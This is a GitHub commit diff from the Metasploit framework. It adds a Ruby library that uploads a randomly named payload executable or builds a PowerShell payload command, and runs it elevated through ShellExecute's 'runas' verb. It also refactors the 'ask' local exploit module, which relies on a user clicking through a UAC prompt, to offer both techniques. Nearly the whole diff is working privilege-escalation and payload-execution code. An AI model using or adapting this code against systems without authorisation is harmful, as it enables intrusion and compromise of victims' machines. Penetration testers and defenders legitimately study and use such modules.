Skip to content

Commit f737108

Browse files
committed
Land rapid7#2551, Runas post library and powershell ask technique
2 parents e05904c + 902cf4b commit f737108

File tree

3 files changed

+72
-64
lines changed

3 files changed

+72
-64
lines changed

lib/msf/core/post/windows.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ module Msf::Post::Windows
1111
require 'msf/core/post/windows/process'
1212
require 'msf/core/post/windows/railgun'
1313
require 'msf/core/post/windows/registry'
14+
require 'msf/core/post/windows/runas'
1415
require 'msf/core/post/windows/services'
1516
require 'msf/core/post/windows/wmic'
1617
require 'msf/core/post/windows/netapi'

lib/msf/core/post/windows/runas.rb

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/exploit/powershell'
4+
require 'msf/core/exploit/exe'
5+
6+
module Msf::Post::Windows::Runas
7+
include Msf::Post::File
8+
include Msf::Exploit::EXE
9+
include Msf::Exploit::Powershell
10+
11+
def execute_exe(filename = nil, path = nil, upload = nil)
12+
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
13+
payload_path = path || get_env('TEMP')
14+
cmd_location = "#{payload_path}\\#{payload_filename}"
15+
16+
if upload
17+
exe_payload = generate_payload_exe
18+
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
19+
write_file(cmd_location, exe_payload)
20+
else
21+
print_status("No file uploaded, attempting to execute #{cmd_location}...")
22+
end
23+
24+
shell_exec(cmd_location, nil)
25+
end
26+
27+
def execute_psh
28+
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
29+
command = 'cmd.exe'
30+
args = "/c #{powershell_command}"
31+
shell_exec(command, args)
32+
end
33+
34+
def shell_exec(command, args)
35+
print_status('Executing elevated command...')
36+
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
37+
end
38+
end

modules/exploits/windows/local/ask.rb

Lines changed: 33 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -4,96 +4,65 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/exploit/exe'
87

98
class Metasploit3 < Msf::Exploit::Local
109
Rank = ExcellentRanking
1110

12-
include Exploit::EXE
13-
include Post::File
11+
include Post::Windows::Priv
12+
include Post::Windows::Runas
1413

15-
def initialize(info={})
16-
super( update_info( info,
14+
def initialize(info = {})
15+
super(update_info(info,
1716
'Name' => 'Windows Escalate UAC Execute RunAs',
18-
'Description' => %q{
17+
'Description' => %q(
1918
This module will attempt to elevate execution level using
2019
the ShellExecute undocumented RunAs flag to bypass low
2120
UAC settings.
22-
},
21+
),
2322
'License' => MSF_LICENSE,
24-
'Author' => [ 'mubix' ],
25-
'Platform' => [ 'win' ],
26-
'SessionTypes' => [ 'meterpreter' ],
27-
'Targets' => [ [ 'Windows', {} ] ],
23+
'Author' => [
24+
'mubix', # Original technique
25+
'b00stfr3ak' # Added powershell option
26+
],
27+
'Platform' => ['win'],
28+
'SessionTypes' => ['meterpreter'],
29+
'Targets' => [['Windows', {}]],
2830
'DefaultTarget' => 0,
2931
'References' => [
30-
[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
32+
['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html']
3133
],
32-
'DisclosureDate'=> "Jan 3 2012"
34+
'DisclosureDate' => 'Jan 3 2012'
3335
))
3436

3537
register_options([
36-
OptString.new("FILENAME", [ false, "File name on disk"]),
37-
OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
38-
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
38+
OptString.new('FILENAME', [false, 'File name on disk']),
39+
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
40+
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
41+
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
3942
])
40-
4143
end
4244

4345
def exploit
44-
45-
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
46-
open_key = session.sys.registry.open_key(root_key, base_key)
47-
lua_setting = open_key.query_value('EnableLUA')
48-
49-
if lua_setting.data == 1
50-
print_status "UAC is Enabled, checking level..."
46+
if is_uac_enabled?
47+
print_status 'UAC is Enabled, checking level...'
48+
case get_uac_level
49+
when UAC_NO_PROMPT
50+
print_good 'UAC is not enabled, no prompt for the user'
51+
else
52+
print_status "The user will be prompted, wait for them to click 'Ok'"
53+
end
5154
else
52-
print_good "UAC is not enabled, no prompt for the user"
53-
end
54-
55-
uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
56-
57-
case uac_level.data
58-
when 2
59-
print_status "UAC is set to 'Always Notify'"
60-
print_status "The user will be prompted, wait for them to click 'Ok'"
61-
when 5
62-
print_debug "UAC is set to Default"
63-
print_debug "The user will be prompted, wait for them to click 'Ok'"
64-
when 0
65-
print_good "UAC is not enabled, no prompt for the user"
55+
print_good 'UAC is not enabled, no prompt for the user'
6656
end
6757

68-
6958
#
7059
# Generate payload and random names for upload
7160
#
72-
payload = generate_payload_exe
73-
74-
if datastore["FILENAME"]
75-
payload_filename = datastore["FILENAME"]
76-
else
77-
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
61+
case datastore['TECHNIQUE']
62+
when 'EXE'
63+
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
64+
when 'PSH'
65+
execute_psh
7866
end
79-
80-
if datastore["PATH"]
81-
payload_path = datastore["PATH"]
82-
else
83-
payload_path = session.sys.config.getenv('TEMP')
84-
end
85-
86-
cmd_location = "#{payload_path}\\#{payload_filename}"
87-
88-
if datastore["UPLOAD"]
89-
print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
90-
fd = session.fs.file.new(cmd_location, "wb")
91-
fd.write(payload)
92-
fd.close
93-
end
94-
95-
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
96-
9767
end
9868
end
99-

0 commit comments

Comments
 (0)